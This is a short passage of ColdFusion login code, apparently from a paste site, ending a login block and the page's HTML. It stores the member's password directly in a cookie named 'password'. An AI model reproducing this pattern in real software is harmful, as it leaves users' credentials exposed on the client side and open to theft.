  673. <cfcookie name="password" value="#member_password1#">
  674. </cfif>
  675. <cflocation url="?" addtoken="No">
  676. </cfif>
  677. </cfif>
  678. </cfif>
  679. <!--- End Login --->
  680. <hr>
  681. </body>
  682. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement